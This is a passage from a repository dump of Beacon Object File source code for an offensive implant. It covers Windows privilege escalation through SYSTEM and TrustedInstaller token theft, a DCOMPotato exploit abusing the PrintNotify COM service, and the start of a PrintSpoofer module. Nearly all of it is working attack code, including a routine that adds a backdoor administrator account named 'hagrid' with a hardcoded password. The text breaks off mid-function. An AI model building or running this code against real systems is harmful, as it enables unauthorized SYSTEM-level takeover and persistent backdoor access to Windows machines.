BeaconPrintf(CALLBACK_OUTPUT, \"DuplicateTokenEx on PID %d failed. Error: %d\\n\", PID, KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hToken);\n        return FALSE;\n    }\n    KERNEL32$CloseHandle(hToken);\n\n    if(!BeaconUseToken(hDup)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Impersonation on PID %d failed. Error: %d\\n\", PID, KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hDup);\n        return FALSE;\n    }\n    *hStorage = hDup;\n\n    return TRUE;\n}\n\nBOOL ElevateSystem(HANDLE *hTokenSystem)\n{\n    DWORD PID = GetProcByPID(\"winlogon.exe\");\n    if(PID != 0){\n        if(ImpersonateByPID(PID, hTokenSystem))\n            return TRUE;\n    }\n    return FALSE;\n}\n\nBOOL ElevateTrustedInstaller(HANDLE *hTokenTrustedInstaller)\n{\n    DWORD PID = GetTrustedInstallerPID();\n    if(PID != 0) {\n        if(ImpersonateByPID(PID, hTokenTrustedInstaller)) {\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nvoid go(char *args, int len)\n{\n    formatp output;\n\n    if(!BeaconIsAdmin()) {\n        BeaconOutput(CALLBACK_ERROR, \"The session must have administrator rights\\n\", 44);\n        return;\n    }\n\n    HANDLE hTokenSystem = NULL;\n    if(!ElevateSystem(&hTokenSystem))\n      return;\n\n    HANDLE hTokenTrustedInstaller = NULL;\n    if(!ElevateTrustedInstaller(&hTokenTrustedInstaller))\n      return;\n\n    BeaconOutput(CALLBACK_OUTPUT, \"Impersonate to SYSTEM & TrustedInstaller succeeded\", 51);\n}"
  },
  {
    "path": "Elevation-BOF/potato-dcom/DCOMPotato.cpp",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <ocidl.h>\n#include <lm.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n\n#define UNLEN 256\n\n#define HANDLETOU(h) ((unsigned long)(ULONG_PTR)(h))\n#define UTOHANDLE(h) ((void*)(UINT_PTR)(h))\n\nDWORD token_value __attribute__((section (\".data\"))) = 0;\n\nbool IsTokenSystem(HANDLE hToken)\n{\n\ttoken_value = 0;\n\tDWORD Size, UserSize, DomainSize;\n\tSID* sid;\n\tSID_NAME_USE SidType;\n\tTCHAR UserName[64], DomainName[64];\n\tSECURITY_IMPERSONATION_LEVEL ImpersonationLevel = SecurityAnonymous;\n\twchar_t* impersonationLevelstr = NULL;\n\n\tPTOKEN_USER user;\n\tDWORD ret_len = 0;\n\tDWORD dwLength = 0;\n\tLPWSTR sid_name;\n\tADVAPI32$GetTokenInformation(hToken, TokenUser, NULL, dwLength, &dwLength);\n\tif (KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n\t{\n\t\tuser = (PTOKEN_USER)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);\n\t\tif (user == NULL)\n\t\t{\n\t\t\tKERNEL32$CloseHandle(hToken);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\tif (ADVAPI32$GetTokenInformation(hToken, TokenUser, user, dwLength, &dwLength)) {\n\t\tsid = (SID*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);\n\t\tADVAPI32$ConvertSidToStringSidW(user->User.Sid, &sid_name);\n\t}\n\telse {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Error getting token user %d\\n\", KERNEL32$GetLastError());\n\t}\n\tSize = 0;\n\tADVAPI32$GetTokenInformation(hToken, TokenImpersonationLevel, &ImpersonationLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &Size);\n\n\tswitch (ImpersonationLevel)\n\t{\n\tcase SecurityAnonymous:\n\t\timpersonationLevelstr = (wchar_t*)L\"Anonymous\"; break;\n\tcase SecurityIdentification:\n\t\timpersonationLevelstr = (wchar_t*)L\"Identification\"; break;\n\tcase SecurityImpersonation:\n\t\timpersonationLevelstr = (wchar_t*)L\"Impersonation\"; break;\n\tcase SecurityDelegation:\n\t\timpersonationLevelstr = (wchar_t*)L\"Delegation\"; break;\n\t}\n\tif (!MSVCRT$wcscmp(sid_name, L\"S-1-5-18\") && ImpersonationLevel >= SecurityImpersonation) {\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Obtained SYSTEM (%ls) token with impersonation level: %S\\n\", sid_name, impersonationLevelstr);\n\t\treturn TRUE;\n\t}\n\telse {\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Obtained (%ls) token with impersonation level: %S\\n\", sid_name, impersonationLevelstr);\n\t\treturn FALSE;\n\t}\n\treturn FALSE;\n}\n\nBOOL EnablePriv(HANDLE hToken, LPCTSTR priv)\n{\n\tTOKEN_PRIVILEGES tp;\n\tLUID luid;\n\tif (!ADVAPI32$LookupPrivilegeValueA(NULL, priv, &luid)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"LookupPrivilegeValue() failed, error %u\\n\", KERNEL32$GetLastError());\n\t\treturn FALSE;\n\t}\n\n\ttp.PrivilegeCount = 1;\n\ttp.Privileges[0].Luid = luid;\n\ttp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\tif (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"AdjustTokenPrivileges() failed, error %u\\n\", KERNEL32$GetLastError());\n\t\treturn FALSE;\n\t}\n\treturn TRUE;\n}\n\n//ref: https://www.codeproject.com/Articles/13601/COM-in-plain-C\ntypedef HRESULT STDMETHODCALLTYPE QueryInterfacePtr(IUnknown*, REFIID, void**);\ntypedef ULONG STDMETHODCALLTYPE AddRefPtr(IUnknown*);\ntypedef ULONG STDMETHODCALLTYPE ReleasePtr(IUnknown*);\n\ntypedef struct {\n\tQueryInterfacePtr* QueryInterface;\n\tAddRefPtr* AddRef;\n\tReleasePtr* Release;\n} IExampleVtbl;\n\ntypedef struct {\n\tIExampleVtbl* lpVtbl;\n} IExample;\n\n// Borrow from https://github.com/rapid7/metasploit-framework/blob/master/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp\nHRESULT STDMETHODCALLTYPE QueryInterface(IUnknown* This, REFIID riid, void** ppvObj)\n{\n\tHANDLE hToken_SYSTEM = UTOHANDLE(token_value);\n\tHANDLE* m_ptoken = &hToken_SYSTEM;\n\n\tif (*m_ptoken == NULL) {\n\t\tHRESULT hr = OLE32$CoImpersonateClient();\n\t\tif (SUCCEEDED(hr)) {\n\t\t\tHANDLE hToken;\n\t\t\tif (ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) {\n\t\t\t\tPTOKEN_USER user;\n\t\t\t\tDWORD ret_len = 0;\n\t\t\t\tDWORD dwLength = 0;\n\t\t\t\tADVAPI32$GetTokenInformation(hToken, TokenUser, NULL, dwLength, &dwLength);\n\t\t\t\tif (KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER) {\n\t\t\t\t\tuser = (PTOKEN_USER)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);\n\t\t\t\t\tif (user == NULL) {\n\t\t\t\t\t\tKERNEL32$CloseHandle(hToken);\n\t\t\t\t\t\treturn NULL;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif((*m_ptoken == NULL)) {\n\t\t\t\t\t*m_ptoken = hToken;\n\t\t\t\t\ttoken_value = HANDLETOU(*m_ptoken);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tKERNEL32$CloseHandle(hToken);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"Error opening token %d\\n\", KERNEL32$GetLastError());\n\t\t\t}\n\t\t}\n\t}\n\n\tCLSID CLSID_IUnknown;\n\twchar_t* szCLSID_IUnknown = L\"{00000000-0000-0000-C000-000000000046}\";\n\tOLE32$CLSIDFromString(szCLSID_IUnknown, &CLSID_IUnknown);\n\tif (OLE32$IsEqualGUID(riid, CLSID_IUnknown)) {\n\t\t*ppvObj = This;\n\t}\n\telse {\n\t\t*ppvObj = NULL;\n\t\treturn E_NOINTERFACE;\n\t}\n\n\treturn NOERROR;\n}\n\nULONG STDMETHODCALLTYPE AddRef(IUnknown* This) { return 1; }\n\nULONG STDMETHODCALLTYPE Release(IUnknown* This) { return 1; }\n\n\n// borrow from MultiPotato\nbool CreateAdminUser()\n{\n\tLPWSTR username = (LPWSTR)L\"hagrid\";\n\tLPWSTR password = (LPWSTR)L\"P@ss@29hagr!d\";\n\n\tUSER_INFO_1 ui;\n\tDWORD dwLevel = 1;\n\tDWORD dwError = 0;\n\tDWORD nStatus;\n\n\tui.usri1_name = username;\n\tui.usri1_password = password;\n\tui.usri1_priv = USER_PRIV_USER;\n\tui.usri1_home_dir = NULL;\n\tui.usri1_comment = NULL;\n\tui.usri1_flags = UF_SCRIPT;\n\tui.usri1_script_path = NULL;\n\n\tnStatus = NETAPI32$NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, NULL);\n\tif (nStatus != 0) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"NetUserAdd error: %d\", nStatus);\n\t\treturn false;\n\t}\n\n\tDWORD gStatus;\n\tLOCALGROUP_MEMBERS_INFO_3 gi;\n\tgi.lgrmi3_domainandname = ui.usri1_name;\n\tDWORD level = 3;\n\tDWORD totalentries = 1;\n\n\tnStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L\"Administrators\", level, (LPBYTE)&gi, totalentries);\n\tif (nStatus != 0) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"NetLocalGroupAddMembers error: %d\", nStatus);\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nBOOL InitBackup()\n{\n\tHANDLE hTokenCurrProc = NULL;\n\tBOOL flag = TRUE;\n\n\tADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrProc);\n\tif(!EnablePriv(hTokenCurrProc, SE_IMPERSONATE_NAME)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"SeImpersonatePrivilege properly not held\\n\");\n\t\tflag = FALSE;\n\t\tgoto _CleanUp;\n\t}\n\n_CleanUp:\n\tKERNEL32$CloseHandle(hTokenCurrProc);\n\treturn flag;\n}\n\n\nBOOL EnumConectPoint()\n{\n\tBOOL flag = TRUE;\n\tbool backupInit = false;\n\tULONG num = 1;\n\tHRESULT hr = 0;\n\tULONG d = 0;\n\tIConnectionPoint* arr;\n\n\tCLSID CLSID_PrintNotifyService;\n\tCLSID CLSID_IUnknown;\n\twchar_t* szCLSID_PrintNotifyService = L\"{854A20FB-2D44-457D-992F-EF13785D2B51}\";\n\twchar_t* szCLSID_IUnknown = L\"{00000000-0000-0000-C000-000000000046}\";\n\tIUnknown* pUnkown = NULL;\n\n    IConnectionPointContainer* svc = NULL;\n\tCLSID CLSID_IConnectionPointContainer;\n\twchar_t* szCLSID_IConnectionPointContainer = L\"{B196B284-BAB4-101A-B69C-00AA00341D07}\";\n\tIEnumConnectionPoints* pEnumConnectionPoints;\n    IExample* example;\n\tIExampleVtbl IExample_Vtbl;\n\n    hr = OLE32$CoInitialize(NULL);\n    if (FAILED(hr)) {\n    \tBeaconPrintf(CALLBACK_ERROR, \"CoInitialize fail, Error: 0x%08lx\\n\", hr);\n        if (BeaconIsAdmin()) {\n        \tBeaconPrintf(CALLBACK_OUTPUT, \"Attempt to initialize with CoInitializeEx alternatively\\n\");\n            hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);\n            if (FAILED(hr)) {\n            \tBeaconPrintf(CALLBACK_ERROR, \"CoInitializeEx fail, Error: 0x%08lx\\n\", hr);\n            }\n           \tbackupInit = true;\n\t\t    }\n    }\n\n    if (!backupInit) {\n    \thr = OLE32$CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, NULL);\n        if (hr != S_OK) {\n        \tBeaconPrintf(CALLBACK_ERROR, \"CoInitializeSecurity fail, Error: 0x%08lx\\n\", hr);\n            flag = FALSE;\n            goto _CleanUp;\n\t\t}\n    }\n\n\tOLE32$CLSIDFromString(szCLSID_PrintNotifyService, &CLSID_PrintNotifyService);\n\tOLE32$CLSIDFromString(szCLSID_IUnknown, &CLSID_IUnknown);\n\n\thr = OLE32$CoCreateInstance(CLSID_PrintNotifyService, NULL, 4, CLSID_IUnknown, (void**)&pUnkown);\n\tif (hr != S_OK) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"CoCreateInstance fail, Error: 0x%08lx\\n\", hr);\n\t\tflag = FALSE;\n\t\tgoto _CleanUp;\n\t}\n\n\tOLE32$CLSIDFromString(szCLSID_IConnectionPointContainer, &CLSID_IConnectionPointContainer);\n\thr = pUnkown->QueryInterface(CLSID_IConnectionPointContainer, (LPVOID*)&svc);\n\tif (hr != S_OK) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"QueryInterface fail, Error: 0x%08lx\\n\", hr);\n\t\tflag = FALSE;\n\t\tgoto _CleanUp;\n\t}\n\n\thr = svc->EnumConnectionPoints(&pEnumConnectionPoints);\n\tif (hr != S_OK) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"EnumConnectionPoints fail, Error: 0x%08lx\\n\", hr);\n\t\tflag = FALSE;\n\t\tgoto _CleanUp;\n\t}\n\tsvc->Release();\n\n\thr = pEnumConnectionPoints->Next(num, &arr, (ULONG*)(&d));\n\n\tif (hr != S_OK) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Next fail, Error: 0x%08lx\\n\", hr);\n\t\tflag = FALSE;\n\t\tgoto _CleanUp;\n\t}\n\n\texample = (IExample*)KERNEL32$GlobalAlloc(GMEM_FIXED, sizeof(IExample));\n\tIExample_Vtbl = { QueryInterface, AddRef, Release };\n\texample->lpVtbl = &IExample_Vtbl;\n\tdo {\n\t\tif (arr != NULL)\n\t\t{\n\t\t\tarr->Advise((IUnknown*)example, &d);\n\t\t\tbreak;\n\t\t}\n\t\thr = pEnumConnectionPoints->Next(num, &arr, (ULONG*)(&d));\n\t} while (hr == 0);\n\n_CleanUp:\n\tOLE32$CoUninitialize();\n\treturn flag;\n}\n\n\nVOID GetHigh(wchar_t* wProcessPath, wchar_t* wCommandLine, int method)\n{\n\tHANDLE hTokenLogon = NULL;\n\tHANDLE hToken_SYSTEM = NULL;\n\n\tSECURITY_ATTRIBUTES sa;\n    sa.nLength = sizeof(SECURITY_ATTRIBUTES);\n    sa.bInheritHandle = TRUE;\n    sa.lpSecurityDescriptor = NULL;\n    STARTUPINFOW startupInfo = { 0 };\n    PROCESS_INFORMATION processInfo = { 0 };\n    startupInfo.cb = sizeof(startupInfo);\n\n\tif(!InitBackup())\n\t\tgoto _CleanUp;\n\n\tif (!ADVAPI32$LogonUserA(\"A\", \"A\", \"A\", LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &hTokenLogon) || !BeaconUseToken(hTokenLogon)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"LogonUser and impersonate failed: %d\\n\", KERNEL32$GetLastError());\n\t\tgoto _CleanUp;\n\t}\n\n\tif(!EnumConectPoint())\n\t\tgoto _CleanUp;\n\n\thToken_SYSTEM = UTOHANDLE(token_value);\n\n\tif (!IsTokenSystem(hToken_SYSTEM)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to obtain SYSTEM token with proper impersonate level!\");\n\t\tgoto _CleanUp;\n\t}\n\n\tif (method == 2) {\n\t\t//According to document, the process that calls the CreateProcessAsUser function must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable.\n\t\tEnablePriv(hToken_SYSTEM, SE_INCREASE_QUOTA_NAME);\n\t\tEnablePriv(hToken_SYSTEM, SE_ASSIGNPRIMARYTOKEN_NAME);\n\t\tBeaconUseToken(hToken_SYSTEM);\n\t\tif (!ADVAPI32$CreateProcessAsUserW(hToken_SYSTEM, wProcessPath, wCommandLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &processInfo)) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"CreateProcessAsUserW failed: %d\\n\", KERNEL32$GetLastError());\n\t\t\tgoto _CleanUp;\n\t\t}\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Command executed with CreateProcessAsUserW successfully\\n\");\n\t}\n\telse if (method == 3) {\n\t\tBeaconUseToken(hToken_SYSTEM);\n\t\tif (CreateAdminUser())\n\t\t\tBeaconPrintf(CALLBACK_OUTPUT, \"User hagrid with password P@ss@29hagr!d has been added into administrators\");\n\t\tgoto _CleanUp;\n\t}\n\telse{\n\t\tif (!ADVAPI32$CreateProcessWithTokenW(hToken_SYSTEM, 0, wProcessPath, wCommandLine, CREATE_NO_WINDOW, 0, NULL, &startupInfo, &processInfo)) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"CreateProcessWithTokenW failed: %d\\n\", KERNEL32$GetLastError());\n\t\t\tgoto _CleanUp;\n\t\t}\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Command executed with CreateProcessWithTokenW successfully\\n\");\n\t}\n\n_CleanUp:\n\tBeaconRevertToken();\n\tif(hTokenLogon)   KERNEL32$CloseHandle(hTokenLogon);\n\tif(hToken_SYSTEM) KERNEL32$CloseHandle(hToken_SYSTEM);\n}\n\n\nvoid go(char* args, int alen)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, args, alen);\n\tULONG useToken  = BeaconDataInt(&parser);\n\tWCHAR* wCmdline = (WCHAR*) BeaconDataExtract(&parser, NULL);\n\n\tHANDLE hToken_SYSTEM = NULL;\n\tHANDLE hTokenLogon   = NULL;\n\n\tSECURITY_ATTRIBUTES sa;\n    sa.nLength = sizeof(SECURITY_ATTRIBUTES);\n    sa.bInheritHandle = TRUE;\n    sa.lpSecurityDescriptor = NULL;\n    STARTUPINFOW startupInfo = { 0 };\n    PROCESS_INFORMATION processInfo = { 0 };\n    startupInfo.cb = sizeof(startupInfo);\n\n\tif(!InitBackup())\n\t\treturn;\n\n\tif (!ADVAPI32$LogonUserA(\"A\", \"A\", \"A\", LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &hTokenLogon) || !BeaconUseToken(hTokenLogon)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"LogonUser and impersonate failed: %d\\n\", KERNEL32$GetLastError());\n\t\tgoto _CleanUp;\n\t}\n\n\tif(!EnumConectPoint())\n\t\tgoto _CleanUp;\n\n\thToken_SYSTEM = UTOHANDLE(token_value);\n\n\tif (!IsTokenSystem(hToken_SYSTEM)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to obtain SYSTEM token with proper impersonate level!\");\n\t\tgoto _CleanUp;\n\t}\n\n\tif (useToken) {\n\t\tBeaconUseToken(hToken_SYSTEM);\n\t\tBeaconOutput(CALLBACK_OUTPUT, \"Impersonate to SYSTEM succeeded\", 32);\n\t\tif(hTokenLogon) KERNEL32$CloseHandle(hTokenLogon);\n\t\treturn;\n\t}\n\telse {\n\t\tif (!ADVAPI32$CreateProcessWithTokenW(hToken_SYSTEM, 0, NULL, wCmdline, CREATE_NO_WINDOW, 0, NULL, &startupInfo, &processInfo)) {\n\t\t\tEnablePriv(hToken_SYSTEM, SE_INCREASE_QUOTA_NAME);\n\t\t\tEnablePriv(hToken_SYSTEM, SE_ASSIGNPRIMARYTOKEN_NAME);\n\t\t\tBeaconUseToken(hToken_SYSTEM);\n\t\t\tif (!ADVAPI32$CreateProcessAsUserW(hToken_SYSTEM, NULL, wCmdline, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &processInfo)) {\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"CreateProcessWithTokenW & CreateProcessAsUserW failed: %d\\n\", KERNEL32$GetLastError());\n\t\t\t\tgoto _CleanUp;\n\t\t\t} else {\n\t\t\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Command executed with CreateProcessAsUserW successfully\\n\");\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Command executed with CreateProcessWithTokenW successfully\\n\");\n\t\t}\n\t}\n\n_CleanUp:\n\tBeaconRevertToken();\n\tif(hTokenLogon)   KERNEL32$CloseHandle(hTokenLogon);\n\tif(hToken_SYSTEM) KERNEL32$CloseHandle(hToken_SYSTEM);\n}"
  },
  {
    "path": "Elevation-BOF/potato-dcom/bofdefs.h",
    "content": "#pragma once\n#include <windows.h>\n\nextern \"C\" {\n\n#include \"beacon.h\"\n\nvoid go(char* buff, int len);\n\n\nWINADVAPI DWORD WINAPI ADVAPI32$GetLengthSid(PSID Sid);\nWINADVAPI BOOL WINAPI ADVAPI32$CopySid(DWORD nDestinationSidLength, PSID pDestinationSid, PSID pSourceSid);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);\nDECLSPEC_IMPORT HRESULT  WINAPI OLE32$CoImpersonateClient();\nDECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE, DWORD, BOOL, PHANDLE);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(void);\nDECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$RevertToSelf(void);\nDECLSPEC_IMPORT void WINAPI MSVCRT$free(void*);\nDECLSPEC_IMPORT long WINAPI KERNEL32$InterlockedIncrement(LONG volatile* Addend);\nDECLSPEC_IMPORT HRESULT\t WINAPI\t  OLE32$CoInitialize(LPVOID pvReserved);\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CoInitializeEx(LPVOID, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE TokenHandle);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LogonUserA(LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithTokenW(HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessAsUserW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nWINADVAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI BOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid);\nWINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL);\nWINADVAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI BOOL WINAPI OLE32$IsEqualGUID(REFGUID rguid1, REFGUID rguid2);\nDECLSPEC_IMPORT HGLOBAL  WINAPI KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT HGLOBAL  WINAPI ADVAPI32$LookupAccountSidA(LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nDECLSPEC_IMPORT int  WINAPI MSVCRT$wcscmp(const wchar_t* string1, const wchar_t* string2);\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CLSIDFromString(LPCWSTR, LPCLSID);\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);\nDECLSPEC_IMPORT VOID     WINAPI   OLE32$CoUninitialize();\nDECLSPEC_IMPORT HRESULT\t WINAPI\t  OLE32$CoInitialize(LPVOID pvReserved);\nDECLSPEC_IMPORT HRESULT\t WINAPI\t  OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel,  DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3);\nDECLSPEC_IMPORT LPVOID\tWINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT BOOL\tWINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nDECLSPEC_IMPORT HANDLE\tWINAPI KERNEL32$GetProcessHeap();\nDECLSPEC_IMPORT HANDLE WINAPI  KERNEL32$GetCurrentProcess(VOID);\nDECLSPEC_IMPORT DWORD\tWINAPI KERNEL32$GetLastError(VOID);\nWINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBASEAPI errno_t __cdecl MSVCRT$mbstowcs_s(size_t* pReturnValue, wchar_t* wcstr, size_t sizeInWords, const char* mbstr, size_t count);\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);\n}"
  },
  {
    "path": "Elevation-BOF/printspoofer/printspoofer.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n\n// Function pointers for WINSPOOL functions (dynamically loaded)\ntypedef BOOL (WINAPI *OpenPrinterW_t)(LPWSTR, LPHANDLE, LPPRINTER_DEFAULTSW);\ntypedef BOOL (WINAPI *ClosePrinter_t)(HANDLE);\ntypedef DWORD (WINAPI *XcvDataW_t)(HANDLE, PCWSTR, PBYTE, DWORD, PBYTE, DWORD, PDWORD, PDWORD);\n\nOpenPrinterW_t pOpenPrinterW = NULL;\nClosePrinter_t pClosePrinter = NULL;\nXcvDataW_t pXcvDataW = NULL;\n\n// Load WINSPOOL functions dynamically\nBOOL LoadWinspoolFunctions()\n{\n    HMODULE hWinspool = KERNEL32$LoadLibraryA(\"winspool.drv\");\n    if (!hWinspool)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to load winspool.drv. Error: %d\\n\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    pOpenPrinterW = (OpenPrinterW_t)KERNEL32$GetProcAddress(hWinspool, \"OpenPrinterW\");\n    pXcvDataW = (XcvDataW_t)KERNEL32$GetProcAddress(hWinspool, \"XcvDataW\");\n    pClosePrinter = (ClosePrinter_t)KERNEL32$GetProcAddress(hWinspool, \"ClosePrinter\");\n\n    if (!pOpenPrinterW || !pXcvDataW || !pClosePrinter)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get WINSPOOL function addresses\\n\");\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL IsTokenSystem(HANDLE hToken)\n{\n    DWORD dwLength = 0;\n    PTOKEN_USER user = NULL;\n    LPWSTR sid_name = NULL;\n    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel = SecurityAnonymous;\n    DWORD Size;\n    wchar_t* impersonationLevelstr = NULL;\n    BOOL isSystem = FALSE;\n\n    ADVAPI32$GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);\n    if (KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n    {\n        user = (PTOKEN_USER)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);\n        if (user == NULL)\n        {\n            return FALSE;\n        }\n    }\n    else\n    {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, user, dwLength, &dwLength))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Error getting token user %d\\n\", KERNEL32$GetLastError());\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, user);\n        return FALSE;\n    }\n\n    if (!ADVAPI32$ConvertSidToStringSidW(user->User.Sid, &sid_name))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Error converting SID %d\\n\", KERNEL32$GetLastError());\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 